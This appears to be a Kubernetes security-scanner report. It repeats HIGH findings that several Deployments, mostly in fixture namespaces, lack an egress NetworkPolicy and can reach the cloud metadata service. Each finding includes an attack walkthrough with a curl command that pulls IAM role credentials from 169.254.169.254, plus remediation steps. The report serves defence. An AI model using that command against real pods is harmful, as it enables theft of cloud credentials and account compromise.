IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/foothold-fixtures/foothold-priv-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in foothold-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec foothold-priv-app -n foothold-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"foothold-priv-app"
workload_namespace
"foothold-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "foothold-priv-app",
  "workload_namespace": "foothold-fixtures"
}
HIGH Deployment/foothold-fixtures/foothold-quiet-app Workload 7.8
Workload Deployment/foothold-fixtures/foothold-quiet-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/foothold-fixtures/foothold-quiet-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/foothold-fixtures/foothold-quiet-app Namespace: foothold-fixtures

Workload Deployment/foothold-fixtures/foothold-quiet-app runs in namespace foothold-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/foothold-fixtures/foothold-quiet-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in foothold-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec foothold-quiet-app -n foothold-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"foothold-quiet-app"
workload_namespace
"foothold-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "foothold-quiet-app",
  "workload_namespace": "foothold-fixtures"
}
HIGH Deployment/gw-workloads/gw-web Workload 7.8
Workload Deployment/gw-workloads/gw-web has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/gw-workloads/gw-web: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/gw-workloads/gw-web Namespace: gw-workloads

Workload Deployment/gw-workloads/gw-web runs in namespace gw-workloads and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/gw-workloads/gw-web via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in gw-workloads (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec gw-web -n gw-workloads -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"gw-web"
workload_namespace
"gw-workloads"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "gw-web",
  "workload_namespace": "gw-workloads"
}
HIGH Deployment/hookbackend-fixtures/hookbackend-injector Workload 7.8
Workload Deployment/hookbackend-fixtures/hookbackend-injector has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/hookbackend-fixtures/hookbackend-injector: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/hookbackend-fixtures/hookbackend-injector Namespace: hookbackend-fixtures

Workload Deployment/hookbackend-fixtures/hookbackend-injector runs in namespace hookbackend-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/hookbackend-fixtures/hookbackend-injector via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in hookbackend-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec hookbackend-injector -n hookbackend-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"hookbackend-injector"
workload_namespace
"hookbackend-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "hookbackend-injector",
  "workload_namespace": "hookbackend-fixtures"
}
HIGH Deployment/imgswap-fixtures/imgswap-reader-app Workload 7.8
Workload Deployment/imgswap-fixtures/imgswap-reader-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/imgswap-fixtures/imgswap-reader-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/imgswap-fixtures/imgswap-reader-app Namespace: imgswap-fixtures

Workload Deployment/imgswap-fixtures/imgswap-reader-app runs in namespace imgswap-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/imgswap-fixtures/imgswap-reader-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in imgswap-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imgswap-reader-app -n imgswap-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"imgswap-reader-app"
workload_namespace
"imgswap-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "imgswap-reader-app",
  "workload_namespace": "imgswap-fixtures"
}
HIGH Deployment/ingress-only/ingress-app Workload 7.8
Workload Deployment/ingress-only/ingress-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/ingress-only/ingress-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Workload Deployment/ingress-only/ingress-app runs in namespace ingress-only and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/ingress-only/ingress-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in ingress-only (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec ingress-app -n ingress-only -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"ingress-app"
workload_namespace
"ingress-only"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "ingress-app",
  "workload_namespace": "ingress-only"
}
HIGH Deployment/local-path-storage/local-path-provisioner Workload 7.8
Workload Deployment/local-path-storage/local-path-provisioner has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Workload Deployment/local-path-storage/local-path-provisioner runs in namespace local-path-storage and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/local-path-storage/local-path-provisioner via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in local-path-storage (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec local-path-provisioner -n local-path-storage -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"local-path-provisioner"
workload_namespace
"local-path-storage"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "local-path-provisioner",
  "workload_namespace": "local-path-storage"
}
HIGH Deployment/lp-fixtures/lp-narrow-app Workload 7.8
Workload Deployment/lp-fixtures/lp-narrow-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Workload Deployment/lp-fixtures/lp-narrow-app runs in namespace lp-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/lp-fixtures/lp-narrow-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in lp-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec lp-narrow-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"lp-narrow-app"
workload_namespace
"lp-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "lp-narrow-app",
  "workload_namespace": "lp-fixtures"
}
HIGH Deployment/lp-fixtures/lp-orphan-app Workload 7.8
Workload Deployment/lp-fixtures/lp-orphan-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Workload Deployment/lp-fixtures/lp-orphan-app runs in namespace lp-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/lp-fixtures/lp-orphan-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
